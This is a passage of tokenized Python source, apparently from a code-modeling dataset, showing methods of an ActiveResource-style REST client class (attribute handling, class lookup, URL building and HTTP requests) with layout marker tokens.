"delete_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "element", "\\u", "path_", "(_", "self_", "._", "id_", ",_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "klass_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "attributes_", "._", "get_", "(_", "self_", "._", "klass_", "._", "primary", "\\u", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "id_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "attributes_", "[_", "self_", "._", "klass_", "._", "primary", "\\u", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "getattr\\u\\u_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Retrieve", " ", "the", " ", "request", "ed", " ", "attribute", " ", "if", " ", "it", " ", "exist", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "name", ":", " ", "The", " ", "attribute", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "attribute", "'", "s", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "Attribute", "Error", ":", " ", "if", " ", "no", " ", "suc", "h", " ", "attribute", " ", "exist", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "attribute", "s", "'_", "in_", "self_", "._", "\\u\\u", "dict\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "in_", "self_", "._", "attributes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "attributes_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "Attribute", "Error_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "setattr\\u\\u_", "(_", "self_", ",_", "name_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "the", " ", "named", " ", "attribute", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "name", ":", " ", "The", " ", "attribute", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "value", ":", " ", "The", " ", "attribute", "'", "s", " ", "value", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'\\u", "initialize", "d", "'_", "in_", "self_", "._", "\\u\\u", "dict\\u\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "in_", "self_", "._", "\\u\\u", "dict\\u\\u_", "or_", "getattr_", "(_", "self_", "._", "\\u\\u", "class\\u\\u_", ",_", "name_", ",_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Update", " ", "a", " ", "normal", " ", "attribute_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "._", "\\u\\u", "setattr\\u\\u_", "(_", "self_", ",_", "name_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Add", "/", "update", " ", "an", " ", "attribute_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "attributes_", "[_", "name_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "object_", "._", "\\u\\u", "setattr\\u\\u_", "(_", "self_", ",_", "name_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'%", "s", "(%", "s", ")'_", "%_", "(_", "self_", "._", "\\u", "singular", "_", ",_", "self_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "cmp", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "other_", ",_", "self_", "._", "\\u\\u", "class\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmp_", "(_", "self_", "._", "id_", ",_", "other_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "cmp_", "(_", "self_", "._", "id_", ",_", "other_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "hash\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hash_", "(_", "tuple_", "(_", "self_", "._", "attributes_", "._", "items_", "(_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "update_", "(_", "self_", ",_", "attributes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Update", " ", "the", " ", "object", " ", "with", " ", "the", " ", "give", "n", " ", "attribute", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", "s", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "attribute", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Non", "e", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "isinstance_", "(_", "attributes_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "attributes_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "klass_", "=_", "self_", "._", "\\u", "find", "\\u", "class", "\\u", "for_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attr_", "=_", "klass_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "list_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "klass_", "=_", "self_", "._", "\\u", "find", "\\u", "class", "\\u", "for", "\\u", "collection_", "(_", "key_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "attr_", "=_", "[_", "klass_", "(_", "child_", ")_", "for_", "child_", "in_", "value_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attr_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Stor", "e", " ", "the", " ", "actual", " ", "value", " ", "in", " ", "the", " ", "attribute", "s", " ", "dictionary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "attributes_", "[_", "key_", "]_", "=_", "attr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "class", "\\u", "for", "\\u", "collection_", "(_", "cls_", ",_", "collection", "\\u", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Look", " ", "in", " ", "the", " ", "parent", " ", "module", "s", " ", "for", " ", "classe", "s", " ", "matchi", "ng", " ", "the", " ", "element", " ", "name", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "One", " ", "or", " ", "bot", "h", " ", "of", " ", "element", "/", "class", " ", "name", " ", "must", " ", "be", " ", "specified", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "collection", "\\u", "name", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "collection", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Reso", "urc", "e", " ", "class", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "\\u", "find", "\\u", "class", "\\u", "for_", "(_", "util_", "._", "singular", "ize_", "(_", "collection", "\\u", "name_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "class", "\\u", "for_", "(_", "cls_", ",_", "element", "\\u", "name_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "class", "\\u", "name_", "=_", "None_", ",_", "create", "\\u", "missing_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Look", " ", "in", " ", "the", " ", "parent", " ", "module", "s", " ", "for", " ", "classe", "s", " ", "matchi", "ng", " ", "the", " ", "element", " ", "name", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "One", " ", "or", " ", "bot", "h", " ", "of", " ", "element", "/", "class", " ", "name", " ", "must", " ", "be", " ", "specified", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "element", "\\u", "name", ":", " ", "The", " ", "name", " ", "of", " ", "the", " ", "element", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "class", "\\u", "name", ":", " ", "The", " ", "class", " ", "name", " ", "of", " ", "the", " ", "element", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "create", "\\u", "missi", "ng", ":", " ", "Whe", "ther", " ", "classe", "s", " ", "shou", "ld", " ", "be", " ", "auto", "-", "created", " ", "if", " ", "no", "\\", "10", ";", " ", " ", " ", " ", "exist", "ing", " ", "match", " ", "is", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "Reso", "urc", "e", " ", "class", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "element", "\\u", "name_", "and_", "not_", "class", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Error_", "(_", "'", "One", " ", "of", " ", "element", "\\u", "name", ",", "class", "\\u", "name", " ", "must", " ", "be", " ", "specified", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "element", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "element", "\\u", "name_", "=_", "util_", "._", "underscore", "_", "(_", "class", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "class", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class", "\\u", "name_", "=_", "util_", "._", "camel", "ize_", "(_", "element", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "module", "\\u", "path_", "=_", "cls_", "._", "\\u\\u", "module\\u\\u_", "._", "split_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "depth_", "in_", "range_", "(_", "len_", "(_", "module", "\\u", "path_", ")_", ",_", "0_", ",_", "-_", "1_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u\\u", "import\\u\\u_", "(_", "'.'_", "._", "join_", "(_", "module", "\\u", "path_", "[_", ":_", "depth_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "module_", "=_", "sys_", "._", "modules_", "[_", "'.'_", "._", "join_", "(_", "module", "\\u", "path_", "[_", ":_", "depth_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "klass_", "=_", "getattr_", "(_", "module_", ",_", "class", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "klass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "\\u\\u", "import\\u\\u_", "(_", "'.'_", "._", "join_", "(_", "[_", "module_", "._", "\\u\\u", "name\\u\\u_", ",_", "element", "\\u", "name_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "submodule_", "=_", "sys_", "._", "modules_", "[_", "'.'_", "._", "join_", "(_", "[_", "module_", "._", "\\u\\u", "name\\u\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "element", "\\u", "name_", "]_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "klass_", "=_", "getattr_", "(_", "submodule_", ",_", "class", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "klass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Attribute", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "we", " ", "made", " ", "it", " ", "this", " ", "far", ",", " ", "no", " ", "suc", "h", " ", "class", " ", "was", " ", "found_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "create", "\\u", "missing_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "new_", "._", "class", "obj_", "(_", "class", "\\u", "name_", ",_", "(_", "cls_", ",_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'\\u", "\\u", "module", "\\u\\u'_", ":_", "cls_", "._", "\\u\\u", "module\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "element", " ", "path", " ", "for", " ", "this", " ", "type", " ", "of", " ", "object", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "The", " ", "HTTP", " ", "method", " ", "bei", "ng", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "options", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "query", "/", "prefix", " ", "options", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "path", " ", "(", "relative", " ", "to", " ", "site", ")", " ", "to", " ", "the", " ", "element", " ", "format", "ted", " ", "with", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "self_", "._", "\\u", "split", "\\u", "options_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", "._", "update_", "(_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "(", "prefix", ")", "s", "/", "%", "(", "plural", ")", "s", "/", "%", "(", "id", ")", "s", "/", "%", "(", "method", "\\u", "name", ")", "s", ".", "%", "(", "format", ")", "s", "%", "(", "query", ")", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "prefix", "'_", ":_", "self_", "._", "klass_", "._", "prefix_", "(_", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plural", "'_", ":_", "self_", "._", "\\u", "plural_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "self_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "\\u", "name", "'_", ":_", "method", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "self_", "._", "\\u", "format_", "._", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "self_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "custom", "\\u", "method", "\\u", "new", "\\u", "element", "\\u", "url_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "element", " ", "path", " ", "for", " ", "creati", "ng", " ", "new", " ", "object", "s", " ", "of", " ", "this", " ", "type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "The", " ", "HTTP", " ", "method", " ", "bei", "ng", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "options", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "query", "/", "prefix", " ", "options", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "path", " ", "(", "relative", " ", "to", " ", "site", ")", " ", "to", " ", "the", " ", "element", " ", "format", "ted", " ", "with", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "self_", "._", "\\u", "split", "\\u", "options_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", "._", "update_", "(_", "self_", "._", "\\u", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "(", "prefix", ")", "s", "/", "%", "(", "plural", ")", "s", "/", "new", "/", "%", "(", "method", "\\u", "name", ")", "s", ".", "%", "(", "format", ")", "s", "%", "(", "query", ")", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "prefix", "'_", ":_", "self_", "._", "klass_", "._", "prefix_", "(_", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plural", "'_", ":_", "self_", "._", "\\u", "plural_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "\\u", "name", "'_", ":_", "method", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "self_", "._", "\\u", "format_", "._", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "self_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instance", "\\u", "get_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "retrieve", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "dictionar", "y", " ", "represent", "ing", " ", "the", " ", "return", "ed", " ", "data", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "self_", "._", "\\u", "custom", "\\u", "method", "\\u", "element", "\\u", "url_", "(_", "method", "\\u", "name_", ",_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "klass_", "._", "connection_", "._", "get_", "(_", "url_", ",_", "self_", "._", "klass_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "instance", "\\u", "post_", "(_", "self_", ",_", "method", "\\u", "name_", ",_", "body_", "=_", "''_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "new", " ", "resource", "/", "nest", "ed", " ", "resource", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "post", " ", "to", ".", "\\", "10", ";", " ", " ", " ", " ", "body", ":", " ", "The", " ", "data", " ", "to", " ", "send", " ", "as", " ", "the", " ", "body", " ", "of", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", 